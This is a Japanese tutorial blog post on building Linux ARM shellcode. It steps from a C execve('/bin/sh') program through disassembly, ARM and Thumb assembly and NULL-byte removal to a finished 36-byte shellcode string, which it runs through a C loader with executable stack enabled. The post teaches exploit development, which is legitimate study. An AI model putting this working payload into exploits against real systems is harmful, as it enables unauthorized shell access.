「Linux x86用のシェルコードを書いてみる」と同様に、Linux ARM(armel)用のシェルコードを書いてみる。
環境
Ubuntu 14.04.2 LTS ARM版(ユーザモードQEMU利用)
# uname -a Linux c7b94bb2fc1e 2.6.32 #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 armv7l armv7l armv7l GNU/Linux # lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.2 LTS Release: 14.04 Codename: trusty # gcc --version gcc (Ubuntu/Linaro 4.8.2-19ubuntu1) 4.8.2
C言語で書いてみる
まずはexecveシステムコールを使ってシェルを起動するC言語コードを書いてみる。
/* execve.c */ #include <unistd.h> int main() { char *argv[] = {"/bin/sh", NULL}; execve(argv[0], argv, NULL); }
スタティックリンクにてコンパイルし、実行してみる。
# gcc -static execve.c # ./a.out # id uid=0(root) gid=0(root) groups=0(root) #
意図した通り、シェルが起動できていることがわかる。
ディスアセンブルしてみる
システムコール実行の流れを調べるため、実行ファイルをディスアセンブルしてみる。
# objdump -d a.out | less
execveシステムコール実行までの流れを抜き出すと次のようになる。
000089c8 <main>: 89c8: b580 push {r7, lr} 89ca: b082 sub sp, #8 89cc: af00 add r7, sp, #0 89ce: f24d 0394 movw r3, #53396 ; 0xd094 89d2: f2c0 0304 movt r3, #4 89d6: 603b str r3, [r7, #0] 89d8: 2300 movs r3, #0 89da: 607b str r3, [r7, #4] 89dc: 683a ldr r2, [r7, #0] 89de: 463b mov r3, r7 89e0: 4610 mov r0, r2 89e2: 4619 mov r1, r3 89e4: 2200 movs r2, #0 89e6: f00f ffe3 bl 189b0 <__execve> 000189b0 <__execve>: 189b0: b500 push {lr} 189b2: f04f 0c0b mov.w ip, #11 189b6: f7f0 fb1b bl 8ff0 <__libc_do_syscall> 00008ff0 <__libc_do_syscall>: 8ff0: b580 push {r7, lr} 8ff2: 4667 mov r7, ip 8ff4: df00 svc 0
最終的に、r7 = 11, r0 = "/bin/sh", r1 = {"/bin/sh", NULL}, r2 = NULL
がセットされた状態でsvc 0
が呼ばれていることがわかる。
ここで、11はexecveのシステムコール番号である。
アセンブリコードを書いてみる
上の結果をもとに、アセンブリコードを書くと次のようになる。
# execve.s .globl _start _start: adr r7, binsh ldm r7!, {r0, r1} mov r2, #0 push {r0, r1, r2} mov r0, sp push {r0, r2} mov r1, sp mov r7, #11 svc 0 binsh: .ascii "/bin//sh"
上のコードでは、"/bin//sh"
の8バイトをldm命令を使ってr0、r1レジスタに読み込んでいる。
その後、スタックに値をpushしつつ、必要なアドレスをスタックレジスタからr0、r1レジスタにセットしている。
上のコードをアセンブルして実行すると次のようになる。
# gcc -nostdlib execve.s # ./a.out # id uid=0(root) gid=0(root) groups=0(root) #
C言語で書いた場合と同様、シェルが起動できていることがわかる。 この実行ファイルをディスアセンブルすると、次のようになる。
# objdump -d a.out a.out: file format elf32-littlearm Disassembly of section .text: 00008098 <_start>: 8098: e28f701c add r7, pc, #28 809c: e8b70003 ldm r7!, {r0, r1} 80a0: e3a02000 mov r2, #0 80a4: e92d0007 push {r0, r1, r2} 80a8: e1a0000d mov r0, sp 80ac: e92d0005 push {r0, r2} 80b0: e1a0100d mov r1, sp 80b4: e3a0700b mov r7, #11 80b8: ef000000 svc 0x00000000 000080bc <binsh>: 80bc: 6e69622f .word 0x6e69622f 80c0: 68732f2f .word 0x68732f2f
Thumb命令の利用による短縮
NULL文字除去を行う前に、Thumb命令を使ってシェルコードの短縮を試みる。
最初に、ARMステートからThumbステートへの切り替えを行う。
これを行うには、適当なレジスタにpc + 1
あるいはpc & 1
を代入し、bx命令のオペランドに指定すればよい。
pcにはその時点で実行している命令のアドレス+8が入っているため、レジスタにはbx命令の次のアドレスの最下位ビットを1にした値が入る。
上記をもとに、アセンブリコードを修正すると次のようになる。
# execve2.s .globl _start _start: add r7, pc, #1 bx r7 .thumb adr r7, binsh ldm r7!, {r0, r1} mov r2, #0 push {r0, r1, r2} mov r0, sp push {r0, r2} mov r1, sp mov r7, #11 svc 0 .balign 4 binsh: .ascii "/bin//sh"
ここで、.balign 4
は4バイト境界になるまで適当なバイトを埋める(アラインメントを行う)GNUアセンブラディレクティブである。
adr r7, binsh
でアドレスを計算する際、adr命令とbinsh
ラベルのアドレスの間のオフセットは4の倍数である必要がある。
しかしThumb命令は基本2バイト固定長であるため、ここでは明示的にアラインメントを指定している。
修正したコードをアセンブルして実行すると次のようになる。
# gcc -nostdlib execve2.s # ./a.out # id uid=0(root) gid=0(root) groups=0(root) #
修正前と変わらず、シェルが起動できていることが確認できる。 この実行ファイルをディスアセンブルすると次のようになる。
# objdump -d a.out a.out: file format elf32-littlearm Disassembly of section .text: 00008098 <_start>: 8098: e28f7001 add r7, pc, #1 809c: e12fff17 bx r7 80a0: a704 add r7, pc, #16 ; (adr r7, 80b4 <binsh>) 80a2: cf03 ldmia r7!, {r0, r1} 80a4: 2200 movs r2, #0 80a6: b407 push {r0, r1, r2} 80a8: 4668 mov r0, sp 80aa: b405 push {r0, r2} 80ac: 4669 mov r1, sp 80ae: 270b movs r7, #11 80b0: df00 svc 0 80b2: bf00 nop 000080b4 <binsh>: 80b4: 6e69622f .word 0x6e69622f 80b8: 68732f2f .word 0x68732f2f
bx命令の次から、2バイト固定長のThumb命令となっていることがわかる。
NULLバイト除去
残っているNULLバイト(\x00
)を除去するために、次のように修正する。
mov r2, #0
をeor r2, r2
svc 0
をsvc 1
.balign 4
を.balign 4, 1
# execve3.s .globl _start _start: add r7, pc, #1 bx r7 .thumb adr r7, binsh ldm r7!, {r0, r1} eor r2, r2 push {r0, r1, r2} mov r0, sp push {r0, r2} mov r1, sp mov r7, #11 svc 1 .balign 4, 1 binsh: .ascii "/bin//sh"
アセンブルして実行してみる。
# gcc -nostdlib execve3.s # ./a.out # id uid=0(root) gid=0(root) groups=0(root) #
実行ファイルをディスアセンブルしてみる。
# objdump -d a.out a.out: file format elf32-littlearm Disassembly of section .text: 00008098 <_start>: 8098: e28f7001 add r7, pc, #1 809c: e12fff17 bx r7 80a0: a704 add r7, pc, #16 ; (adr r7, 80b4 <binsh>) 80a2: cf03 ldmia r7!, {r0, r1} 80a4: 4052 eors r2, r2 80a6: b407 push {r0, r1, r2} 80a8: 4668 mov r0, sp 80aa: b405 push {r0, r2} 80ac: 4669 mov r1, sp 80ae: 270b movs r7, #11 80b0: df01 svc 1 80b2: 0101 lsls r1, r0, #4 000080b4 <binsh>: 80b4: 6e69622f .word 0x6e69622f 80b8: 68732f2f .word 0x68732f2f
NULLバイトが除去できていることが確認できる。
シェルコードとして実行してみる
上の実行ファイルに対しobjdumpコマンドでバイト列をダンプし、C形式の文字列に変換してみる。
# objdump -s a.out a.out: file format elf32-littlearm Contents of section .note.gnu.build-id: 8074 04000000 14000000 03000000 474e5500 ............GNU. 8084 47b8380d aa1cf406 54a4c840 74b5b420 G.8.....T..@t.. 8094 e0b2a38e .... Contents of section .text: 8098 01708fe2 17ff2fe1 04a703cf 524007b4 .p..../.....R@.. 80a8 684605b4 69460b27 01df0101 2f62696e hF..iF.'..../bin 80b8 2f2f7368 //sh Contents of section .ARM.attributes: 0000 411e0000 00616561 62690001 14000000 A....aeabi...... 0010 05372d41 00060a07 41080109 020a04 .7-A....A...... # perl -ple 's/(\w{2})\s?/\\x\1/g' <<<"01708fe2 17ff2fe1 04a703cf 524007b4 684605b4 69460b27 01df0101 2f62696e 2f2f7368" \x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68
C言語で、この文字列(シェルコード)を明示的に実行させるプログラムコードを書くと次のようになる。
/* loader.c */ #include <stdio.h> char shellcode[] = "\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68"; int main() { printf("[+] sizeof(shellcode) = %d\n", sizeof(shellcode)); (*(void (*)())shellcode)(); }
シェルコードが実行できるようDEPを無効にした上でコンパイルし、実行してみる。
# gcc -zexecstack loader.c # ./a.out [+] sizeof(shellcode) = 37 # id uid=0(root) gid=0(root) groups=0(root) #
上の結果から、問題なくシェルが起動できていることが確認できた。 C言語の文字列として末尾に付与されているNULLバイトを除くと、このシェルコードの長さは36バイトである。